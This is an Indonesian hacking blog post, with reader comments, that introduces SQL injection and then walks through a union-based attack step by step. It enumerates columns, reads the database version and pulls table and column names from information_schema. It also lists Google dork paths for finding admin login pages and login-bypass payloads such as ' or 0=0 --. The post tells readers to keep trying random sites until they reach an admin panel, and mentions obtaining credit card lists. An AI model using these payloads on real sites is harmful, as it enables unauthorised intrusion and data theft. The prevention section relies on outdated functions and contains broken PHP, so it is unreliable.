Apa itu SQL ?
February 28, 2019
3 Comments
Halo guys gw Keyy yang ganteng :v gw dapet amanah dari Bandit untuk menyampaikan tentang SQL ;v
Langsung ke topik pembahasan :
SQL injection adalah jenis aksi hacking pada keamanan komputer
di mana seorang penyerang bisa mendapatkan akses ke basis data
di dalam sistem. SQL injection yaitu serangan yang mirip dengan
serangan XSS dalam bahwa penyerang memanfaatkan aplikasi
vektor dan juga dengan Common dalam serangan XSS.
Serangan SQL Injection merupakan metode serangan dengan melakukan
injeksi kode, digunakan untuk menyerang aplikasi berbasis data. ...
Hacker mungkin bisa mendapatkan data arbitrary dari aplikasi,
mengganggu logikanya, atau menjalankan command pada server database itu sendiri
Structured Query Language (SQL) adalah sekumpulan perintah khusus
yang digunakan untuk mengakses data dalam database
relasional. SQL merupakan sebuah bahasa komputer yang mengikuti
standar ANSI (American Nasional Standard Institute) yang digunakan
dalam manajemen database relasional.
SQL (/[unsupported input]ˈɛs kjuː ˈɛl/ "S-Q-L"; atau Structured Query
Language) adalah sebuah bahasa yang digunakan untuk mengakses
data dalam basis data relasional.
Baca juga : How to stored xss?
Carilah target
Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url
atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100’ atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]
Mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
Misal:[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
Misal: [site]/berita.php?id=-100+order+by+9–
Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8–
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok
seumpama yg keluar angka 5gunakan perintah version() atau @@version
untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja
karena dalam versi 4 ini kita harus menebak sendiri table dan column
yang ada pada web tersebut karena tidak bisa menggunakan perintah
From+Information_schema..Untuk versi 5 berarti anda beruntung tak
perlu menebak table dan column seperti versi 4 karena di versi 5 ini
bisa menggunakan perintah
From+Information_schema..
Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name
>>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/*
>>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,
table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”
untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name)
>>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()
>>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name)
,6,7,8+from+information_schema. tables+where+table_schema=database()–
Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa–
>>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name)
,6,7,8+from+information_schema .columns+where+table_name=0xhexa–
Pada tahap ini kamu wajib mengextrak kata pada isi table
menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi : https://www.rapidtables.com/convert/number/ascii-to-hex.html Contoh
kata yang ingin dikonversi yaitu admin maka akan menjadi
61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8
+from+information_schema .columns+where+table_name=0x61646D696E–
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and
password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select *
from login where username = ’$username’ and password=’pass’ or ‘=′”; ,
{ dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username
Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password'”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan
menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan
karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk
query sebagai berikut :
Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email'”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
2. Menggunakan MySQL_escape_string
Merubah string yang mengandung
karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh :
$kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan
variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah
menjadi \’ secara otomatis oleh php
Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google,
kemungkinan Anda akan menjumpai sebuah halaman login
(user name danpassword).
4) Masukkan kode berikut :
User name :ora’=’a
Password :ora’=’a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel,
di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang
ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password :ora’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan),dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung
sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda
kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di
SQL Server Security tab.
Sekian dari gw bila ada kesalahan mohon dimaafkan :v
Sampai Jumpa Kembali :v
SQL Kek Begini Mah Udh Jarang Yang Bisa
ReplyDeleteTidak ada yang tidak mungkin Kalo Kita Belajar :)
DeleteQuery itu apa stah
ReplyDelete